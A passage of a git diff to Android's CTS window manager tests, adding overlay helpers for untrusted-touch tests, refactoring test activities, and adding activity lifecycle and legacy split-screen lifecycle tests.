+        addActivity(repackage(packageName, Components.ExitAnimationActivity.COMPONENT),
+                /* extras */ null, /* options */ null);
+    }
+
+    private void sendFinishToExitAnimationActivity(String packageName, int exitAnimation) {
+        Intent intent = new Intent(Components.ExitAnimationActivityReceiver.ACTION_FINISH);
+        intent.setPackage(packageName);
+        intent.putExtra(Components.ExitAnimationActivityReceiver.EXTRA_ANIMATION, exitAnimation);
+        mContext.sendBroadcast(intent);
+    }
+
+    private void addAnimatedActivityOverlay(String packageName, boolean touchable,
+            @AnimRes int enterAnim, @AnimRes int exitAnim) {
+        ConditionVariable animationsStarted = new ConditionVariable(false);
+        ActivityOptions options = ActivityOptions.makeCustomAnimation(mContext, enterAnim, exitAnim,
+                mMainHandler, animationsStarted::open, /* finishedListener */ null);
+        // We're testing the opacity coming from the animation here, not the one declared in the
+        // activity, so we set its opacity to 1
+        addActivityOverlay(packageName, /* opacity */ 1, touchable, options.toBundle());
+        animationsStarted.block();
+    }
+
+    private void addActivityChildWindow(String packageName, String windowSuffix, IBinder token)
+            throws Exception {
+        String name = getWindowName(packageName, windowSuffix);
+        getService(packageName).showActivityChildWindow(name, token);
+        if (!mWmState.waitFor("activity child window " + name,
+                state -> state.isWindowVisible(name) && state.isWindowSurfaceShown(name))) {
+            fail("Activity child window " + name + " did not appear on time");
+        }
+    }
+
+    private void addActivityOverlay(String packageName, float opacity) {
+        addActivityOverlay(packageName, opacity, /* touchable */ false, /* options */ null);
+    }
+
+    private void addActivityOverlay(String packageName, float opacity, boolean touchable,
+            @Nullable Bundle options) {
+        Bundle extras = new Bundle();
+        extras.putFloat(Components.OverlayActivity.EXTRA_OPACITY, opacity);
+        extras.putBoolean(Components.OverlayActivity.EXTRA_TOUCHABLE, touchable);
+        addActivityOverlay(packageName, extras, options);
+    }
+
+    private void addActivityOverlay(String packageName, float opacity,
+            BlockingResultReceiver tokenReceiver) {
+        Bundle extras = new Bundle();
+        extras.putFloat(Components.OverlayActivity.EXTRA_OPACITY, opacity);
+        extras.putParcelable(Components.OverlayActivity.EXTRA_TOKEN_RECEIVER, tokenReceiver);
+        addActivityOverlay(packageName, extras, /* options */ null);
+    }
+
+    private void addActivityOverlay(String packageName, @Nullable Bundle extras,
+            @Nullable Bundle options) {
+        addActivity(repackage(packageName, Components.OverlayActivity.COMPONENT), extras, options);
+    }
+
+    private void addActivity(ComponentName component, @Nullable Bundle extras,
+            @Nullable Bundle options) {
+        Intent intent = new Intent();
+        intent.setComponent(component);
+        if (extras != null) {
+            intent.putExtras(extras);
+        }
+        mActivity.startActivity(intent, options);
+        String packageName = component.getPackageName();
+        String activity = ComponentNameUtils.getActivityName(component);
+        if (!mWmState.waitFor("activity window " + activity,
+                state -> activity.equals(state.getFocusedActivity())
+                        && state.hasActivityState(component, STATE_RESUMED))) {
+            fail("Activity from app " + packageName + " did not appear on time");
+        }
+    }
+
+    private void removeActivityOverlays() {
+        Intent intent = new Intent(mContext, mActivity.getClass());
+        // Will clear any activity on top of it and it will become the new top
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        mActivity.startActivity(intent);
+    }
+
+    private void waitForNoActivityOverlays(String message) {
+        // Base activity focused means no activities on top
+        ComponentName component = mActivity.getComponentName();
+        String name = ComponentNameUtils.getActivityName(component);
+        if (!mWmState.waitFor("test rule activity focused",
+                state -> name.equals(state.getFocusedActivity())
+                        && state.hasActivityState(component, STATE_RESUMED))) {
+            fail(message);
+        }
+    }
+
+    private void addSawOverlay(String packageName, String windowSuffix, float opacity)
+            throws Throwable {
+        String name = getWindowName(packageName, windowSuffix);
+        getService(packageName).showSystemAlertWindow(name, opacity);
+        mSawWindowsAdded.add(name);
+        if (!mWmState.waitFor("saw window " + name,
+                state -> state.isWindowVisible(name) && state.isWindowSurfaceShown(name))) {
+            fail("Saw window " + name + " did not appear on time");
+        }
+    }
+
+    private void waitForNoSawOverlays(String message) {
+        if (!mWmState.waitFor("no SAW windows",
+                state -> mSawWindowsAdded.stream().allMatch(w -> !state.isWindowVisible(w)))) {
+            fail(message);
+        }
+        mSawWindowsAdded.clear();
+    }
+
+    private void removeOverlays() throws Throwable {
+        for (FutureConnection<IUntrustedTouchTestService> connection : mConnections.values()) {
+            connection.getCurrent().removeOverlays();
+        }
+        // We need to stop the app because not every overlay is created via the service (eg.
+        // activity overlays and custom toasts)
+        for (String app : APPS) {
+            stopPackage(app);
+        }
+        waitForNoSawOverlays("SAWs not removed on time");
+        removeActivityOverlays();
+        waitForNoActivityOverlays("Activities not removed on time");
+        removeMyCustomToastOverlay();
+        waitForNoToastOverlays("Toasts not removed on time");
+    }
+
+    private void stopPackage(String packageName) {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mActivityManager.forceStopPackage(packageName));
+    }
+
+    private int setBlockUntrustedTouchesMode(int mode) throws Exception {
+        return SystemUtil.callWithShellPermissionIdentity(() -> {
+            int previous = mInputManager.getBlockUntrustedTouchesMode(mContext);
+            mInputManager.setBlockUntrustedTouchesMode(mContext, mode);
+            return previous;
+        });
+    }
+
+    private float setMaximumObscuringOpacityForTouch(float opacity) throws Exception {
+        return SystemUtil.callWithShellPermissionIdentity(() -> {
+            float previous = mInputManager.getMaximumObscuringOpacityForTouch();
+            mInputManager.setMaximumObscuringOpacityForTouch(opacity);
+            return previous;
+        });
+    }
+
+    private IUntrustedTouchTestService getService(String packageName) throws Exception {
+        return mConnections.computeIfAbsent(packageName, this::connect).get(TIMEOUT_MS);
+    }
+
+    private FutureConnection<IUntrustedTouchTestService> connect(String packageName) {
+        FutureConnection<IUntrustedTouchTestService> connection =
+                new FutureConnection<>(IUntrustedTouchTestService.Stub::asInterface);
+        Intent intent = new Intent();
+        intent.setComponent(repackage(packageName, Components.UntrustedTouchTestService.COMPONENT));
+        assertTrue(mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE));
+        return connection;
+    }
+
+    private static String getWindowName(String packageName, String windowSuffix) {
+        return packageName + "." + windowSuffix;
+    }
+
+    private static ComponentName repackage(String packageName, ComponentName baseComponent) {
+        return new ComponentName(packageName, baseComponent.getClassName());
+    }
+
+    public static class TestActivity extends Activity {
+        public View view;
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            view = new View(this);
+            view.setBackgroundColor(ACTIVITY_COLOR);
+            setContentView(view);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
index 9ba003c..e4cb869 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
@@ -17,6 +17,7 @@
 package android.server.wm.intent;
 
 import android.app.Activity;
+import android.os.Bundle;
 
 /**
  * A collection of activities with various launch modes used in the intent tests.
@@ -27,60 +28,68 @@
  */
 public class Activities {
 
-    public static class TrackerActivity extends Activity {
+    private static class BaseActivity extends Activity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            setTitle(getClass().getSimpleName());
+        }
     }
 
-    public static class RegularActivity extends Activity {
+    public static class TrackerActivity extends BaseActivity {
     }
 
-    public static class SingleTopActivity extends Activity {
+    public static class RegularActivity extends BaseActivity {
     }
 
-    public static class SingleInstanceActivity extends Activity {
+    public static class SingleTopActivity extends BaseActivity {
     }
 
-    public static class SingleInstanceActivity2 extends Activity {
+    public static class SingleInstanceActivity extends BaseActivity {
     }
 
-    public static class SingleTaskActivity extends Activity {
+    public static class SingleInstanceActivity2 extends BaseActivity {
     }
 
-    public static class SingleTaskActivity2 extends Activity {
+    public static class SingleTaskActivity extends BaseActivity {
     }
 
-    public static class TaskAffinity1Activity extends Activity {
+    public static class SingleTaskActivity2 extends BaseActivity {
     }
 
-    public static class TaskAffinity1Activity2 extends Activity {
+    public static class TaskAffinity1Activity extends BaseActivity {
     }
 
-    public static class TaskAffinity2Activity extends Activity {
+    public static class TaskAffinity1Activity2 extends BaseActivity {
     }
 
-    public static class TaskAffinity3Activity extends Activity {
+    public static class TaskAffinity2Activity extends BaseActivity {
     }
 
-    public static class ClearTaskOnLaunchActivity extends Activity {
+    public static class TaskAffinity3Activity extends BaseActivity {
     }
 
-    public static class DocumentLaunchIntoActivity extends Activity {
+    public static class ClearTaskOnLaunchActivity extends BaseActivity {
     }
 
-    public static class DocumentLaunchAlwaysActivity extends Activity {
+    public static class DocumentLaunchIntoActivity extends BaseActivity {
     }
 
-    public static class DocumentLaunchNeverActivity extends Activity {
+    public static class DocumentLaunchAlwaysActivity extends BaseActivity {
     }
 
-    public static class NoHistoryActivity extends Activity {
+    public static class DocumentLaunchNeverActivity extends BaseActivity {
     }
 
-    public static class LauncherActivity extends Activity {
+    public static class NoHistoryActivity extends BaseActivity {
     }
 
-    public static class RelinquishTaskIdentityActivity extends Activity {
+    public static class LauncherActivity extends BaseActivity {
     }
 
-    public static class TaskAffinity1RelinquishTaskIdentityActivity extends Activity {
+    public static class RelinquishTaskIdentityActivity extends BaseActivity {
+    }
+
+    public static class TaskAffinity1RelinquishTaskIdentityActivity extends BaseActivity {
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Cases.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Cases.java
index 3428c15..a5cce2a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Cases.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Cases.java
@@ -21,6 +21,7 @@
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_DOCUMENT;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_HISTORY;
 import static android.content.Intent.FLAG_ACTIVITY_PREVIOUS_IS_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
 import static android.content.Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED;
@@ -67,6 +68,8 @@
             "FLAG_ACTIVITY_PREVIOUS_IS_TOP");
     public static final IntentFlag REORDER_TO_FRONT = flag(FLAG_ACTIVITY_REORDER_TO_FRONT,
             "FLAG_ACTIVITY_REORDER_TO_FRONT");
+    public static final IntentFlag NO_HISTORY = flag(FLAG_ACTIVITY_NO_HISTORY,
+            "FLAG_ACTIVITY_NO_HISTORY");
 
     // Flag only used for parsing intents that contain no flags.
     private static final IntentFlag NONE = flag(0, "");
@@ -80,7 +83,8 @@
             MULTIPLE_TASK,
             RESET_TASK_IF_NEEDED,
             PREVIOUS_IS_TOP,
-            REORDER_TO_FRONT
+            REORDER_TO_FRONT,
+            NO_HISTORY
     );
 
     // Definition of intents used across multiple test cases.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
index a259588..e1e247e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
@@ -36,7 +36,7 @@
      */
     public void cleanUp(List<ComponentName> activitiesInUsedInTest) throws Exception {
         launchHomeActivityNoWait();
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
 
         this.getWmState().waitForWithAmState(
                 state -> state.containsNoneOf(activitiesInUsedInTest),
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
index 6219478..706db07 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
@@ -267,6 +267,11 @@
 
         if (activity == null) {
             return activityContext;
+        } else if (startForResult && activityContext == activity) {
+            // The result may have been sent back to caller activity and forced the caller activity
+            // to be resumed again, before the started activity actually resumed. Just wait for idle
+            // for that case.
+            getInstrumentation().waitForIdleSync();
         } else {
             waitAndAssertActivityLaunched(activity, intent);
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index 58b6325..1e58f30 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -17,6 +17,7 @@
 package android.server.wm.lifecycle;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.content.Intent.FLAG_ACTIVITY_FORWARD_RESULT;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.StateLogger.log;
@@ -34,6 +35,7 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -91,6 +93,7 @@
     static final String EXTRA_FINISH_IN_ON_STOP = "finish_in_on_stop";
     static final String EXTRA_START_ACTIVITY_IN_ON_CREATE = "start_activity_in_on_create";
     static final String EXTRA_START_ACTIVITY_WHEN_IDLE = "start_activity_when_idle";
+    static final String EXTRA_ACTIVITY_ON_USER_LEAVE_HINT = "activity_on_user_leave_hint";
 
     static final ComponentName CALLBACK_TRACKING_ACTIVITY =
             getComponentName(CallbackTrackingActivity.class);
@@ -249,8 +252,10 @@
      * time.
      * @return The launched Activity instance.
      */
-    Activity launchActivityAndWait(Class<? extends Activity> activityClass) throws Exception {
-        return new Launcher(activityClass).launch();
+    @SuppressWarnings("unchecked")
+    <T extends Activity> T launchActivityAndWait(Class<? extends Activity> activityClass)
+            throws Exception {
+        return (T) new Launcher(activityClass).launch();
     }
 
     /**
@@ -414,6 +419,15 @@
             super.onRestart();
             mLifecycleLogClient.onActivityCallback(ON_RESTART);
         }
+
+        @Override
+        protected void onUserLeaveHint() {
+            super.onUserLeaveHint();
+
+            if (getIntent().getBooleanExtra(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, false)) {
+                mLifecycleLogClient.onActivityCallback(ON_USER_LEAVE_HINT);
+            }
+        }
     }
 
     // Test activity
@@ -489,6 +503,29 @@
     }
 
     /**
+     * Test activity that launches {@link TrampolineActivity} for result.
+     */
+    public static class LaunchForwardResultActivity extends CallbackTrackingActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            final Intent intent = new Intent(this, TrampolineActivity.class);
+            startActivityForResult(intent, 1 /* requestCode */);
+        }
+    }
+
+    public static class TrampolineActivity extends CallbackTrackingActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            final Intent intent = new Intent(this, ResultActivity.class);
+            intent.setFlags(FLAG_ACTIVITY_FORWARD_RESULT);
+            startActivity(intent);
+            finish();
+        }
+    }
+
+    /**
      * Test activity that launches {@link ResultActivity} for result.
      */
     public static class LaunchForResultActivity extends CallbackTrackingActivity {
@@ -568,7 +605,8 @@
 
     /** Test activity that can call {@link Activity#recreate()} if requested in a new intent. */
     public static class SingleTopActivity extends CallbackTrackingActivity {
-
+        static final String EXTRA_LAUNCH_ACTIVITY = "extra_launch_activity";
+        static final String EXTRA_NEW_TASK = "extra_new_task";
         @Override
         protected void onNewIntent(Intent intent) {
             super.onNewIntent(intent);
@@ -576,6 +614,19 @@
                 recreate();
             }
         }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            if (getIntent().getBooleanExtra(EXTRA_LAUNCH_ACTIVITY, false)) {
+                final Intent intent = new Intent(this, SingleTopActivity.class);
+                if (getIntent().getBooleanExtra(EXTRA_NEW_TASK, false)) {
+                    intent.setFlags(FLAG_ACTIVITY_NEW_TASK);
+                }
+                startActivityForResult(intent, 1 /* requestCode */);
+            }
+        }
     }
 
     // Config change handling activity
@@ -597,9 +648,13 @@
 
             // Enter picture in picture with the given aspect ratio if provided
             if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
-                enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+                enterPip();
             }
         }
+
+        void enterPip() {
+            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        }
     }
 
     public static class AlwaysFocusablePipActivity extends CallbackTrackingActivity {
@@ -691,62 +746,28 @@
         moveTaskToPrimarySplitScreen(activity.getTaskId(), true /* showSideActivity */);
 
         final Class<? extends Activity> activityClass = activity.getClass();
-        waitAndAssertActivityEnterSplitScreenTransitions(activityClass, "enterSplitScreen");
-    }
-
-    /**
-     * Blocking call that will wait for activities to perform the entering split screen sequence of
-     * transitions.
-     * @see LifecycleTracker#waitForActivityTransitions(Class, List)
-     */
-    final void waitAndAssertActivityEnterSplitScreenTransitions(
-            Class<? extends Activity> activityClass, String message) {
-        log("Start waitAndAssertActivitySplitScreenTransitions");
 
         final List<LifecycleLog.ActivityCallback> expectedTransitions =
                 new ArrayList<LifecycleLog.ActivityCallback>(
                         LifecycleVerifier.getSplitScreenTransitionSequence(activityClass));
-
         final List<LifecycleLog.ActivityCallback> expectedTransitionForMinimizedDock =
                 LifecycleVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
 
-        mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
-
-        if (!expectedTransitions.contains(ON_MULTI_WINDOW_MODE_CHANGED)) {
-            LifecycleVerifier.assertSequenceMatchesOneOf(
-                    activityClass,
-                    getLifecycleLog(),
-                    Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
-                    message);
-        } else {
-            final List<LifecycleLog.ActivityCallback> extraSequence =
-                    new ArrayList<LifecycleLog.ActivityCallback>(
-                            Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST,
-                                    ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE,
-                                    ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED));
-            final List<LifecycleLog.ActivityCallback> extraSequenceForMinimizedDock =
-                    LifecycleVerifier.appendMinimizedDockTransitionTrail(extraSequence);
-            final int displayWindowingMode =
-                    getDisplayWindowingModeByActivity(getComponentName(activityClass));
-            if (displayWindowingMode != WINDOWING_MODE_FULLSCREEN) {
-                // For non-fullscreen display mode, there won't be a multi-window callback.
-                expectedTransitions.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
-                expectedTransitionForMinimizedDock.removeAll(
-                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
-                extraSequence.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
-                extraSequenceForMinimizedDock.removeAll(
-                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
-            }
-            LifecycleVerifier.assertSequenceMatchesOneOf(
-                    activityClass,
-                    getLifecycleLog(),
-                    Arrays.asList(
-                            expectedTransitions,
-                            extraSequence,
-                            expectedTransitionForMinimizedDock,
-                            extraSequenceForMinimizedDock),
-                    message);
+        final int displayWindowingMode =
+                getDisplayWindowingModeByActivity(getComponentName(activityClass));
+        if (displayWindowingMode != WINDOWING_MODE_FULLSCREEN) {
+            // For non-fullscreen display mode, there won't be a multi-window callback.
+            expectedTransitions.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+            expectedTransitionForMinimizedDock.removeAll(
+                    Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
         }
+
+        mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+        LifecycleVerifier.assertSequenceMatchesOneOf(
+                activityClass,
+                getLifecycleLog(),
+                Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
+                "enterSplitScreen");
     }
 
     final ActivityOptions getLaunchOptionsForFullscreen() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
index 3c8132c..64d53d8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
@@ -38,7 +38,6 @@
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
 import org.junit.Before;
@@ -52,7 +51,6 @@
  */
 @MediumTest
 @Presubmit
-@FlakyTest(bugId=137329632)
 @android.server.wm.annotation.Group3
 public class ActivityLifecycleFreeformTests extends ActivityLifecycleClientTestBase {
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
new file mode 100644
index 0000000..efa0a17
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
@@ -0,0 +1,384 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.lifecycle;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_IN_ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_POST_CREATE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_USER_LEAVE_HINT;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.filters.MediumTest;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:ActivityLifecycleSplitScreenTests
+ */
+@MediumTest
+@Presubmit
+@android.server.wm.annotation.Group3
+public class ActivityLifecycleLegacySplitScreenTests extends ActivityLifecycleClientTestBase {
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        assumeTrue(supportsSplitScreenMultiWindow());
+        // TODO(b/149338177): Fix test to pass with organizer API.
+        mUseTaskOrganizer = false;
+    }
+
+    @Test
+    public void testResumedWhenRecreatedFromInNonFocusedStack() throws Exception {
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Launch second activity to stop first
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+
+        // Wait for the first activity to stop, so that this event is not included in the logs.
+        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(secondActivity);
+
+        // CLear logs so we can capture just the destroy sequence
+        getLifecycleLog().clear();
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
+                .launch();
+
+        // Finish top activity
+        secondActivity.finish();
+
+        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
+                state(firstActivity, ON_RESUME));
+
+        // Verify that the first activity was recreated to resume as it was created before
+        // windowing mode was switched
+        LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
+
+        // Verify that the lifecycle state did not change for activity in non-focused stack
+        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
+    }
+
+    @Test
+    public void testOccludingOnSplitSecondaryStack() throws Exception {
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+
+        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
+        mWmState.computeState(firstActivityName);
+        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
+
+        // Launch second activity to side
+        getLifecycleLog().clear();
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        // Launch third activity on top of second
+        getLifecycleLog().clear();
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(secondActivity, ON_STOP));
+    }
+
+    @Test
+    public void testTranslucentOnSplitSecondaryStack() throws Exception {
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+
+        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
+        mWmState.computeState(firstActivityName);
+        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
+
+        // Launch second activity to side
+        getLifecycleLog().clear();
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        // Launch translucent activity on top of second
+        getLifecycleLog().clear();
+
+        new Launcher(TranslucentActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
+    }
+
+    @Test
+    @Ignore // TODO(b/142345211): Skipping until the issue is fixed, or it will impact other tests.
+    public void testResultInNonFocusedStack() throws Exception {
+        // Launch first activity
+        final Activity callbackTrackingActivity =
+                launchActivityAndWait(CallbackTrackingActivity.class);
+
+        // Enter split screen, the activity will be relaunched.
+        // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
+        moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
+            true/* showSideActivity */);
+        getLifecycleLog().clear();
+
+        // Launch second activity
+        // Create an ActivityMonitor that catch ChildActivity and return mock ActivityResult:
+        Instrumentation.ActivityMonitor activityMonitor = getInstrumentation()
+                .addMonitor(SecondActivity.class.getName(), null /* activityResult */,
+                        false /* block */);
+
+        callbackTrackingActivity.startActivityForResult(
+                new Intent(callbackTrackingActivity, SecondActivity.class), 1 /* requestCode */);
+
+        // Wait for the ActivityMonitor to be hit
+        final Activity secondActivity = getInstrumentation()
+                .waitForMonitorWithTimeout(activityMonitor, 5 * 1000);
+
+        // Wait for second activity to resume
+        assertNotNull("Second activity should be started", secondActivity);
+        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
+
+        // Verify if the first activity stopped (since it is not currently visible)
+        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        // Finish top activity and verify that activity below became focused.
